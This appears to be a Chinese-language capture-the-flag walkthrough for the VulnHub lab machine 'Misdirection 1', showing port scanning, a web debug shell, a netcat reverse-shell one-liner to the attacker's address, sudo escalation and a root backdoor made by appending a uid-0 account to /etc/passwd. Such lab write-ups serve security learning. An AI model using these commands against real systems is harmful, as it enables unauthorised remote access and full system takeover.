Vulnhub:Misdirection 1靶机

发布时间 2023-04-17 20:21:30作者: ctostm

kali:192.168.111.111

靶机:192.168.111.130

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.130

image

8080端口/debug目录,是一个可以执行命令的shell

image

获得反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.111.111 4444 >/tmp/f

image

提权

www-data用户sudo权限

image

提权方法:https://gtfobins.github.io/gtfobins/bash/#sudo

image

切换到brexit用户

sudo -u brexit /bin/bash

image

/etc/passwd可写

image

写入用户到/etc/passwd

openssl passwd -1 -salt a a
echo 'a:$1$a$44cUw6Nm5bX0muHWNIwub0:0:0::/root:/bin/bash' >> /etc/passwd

image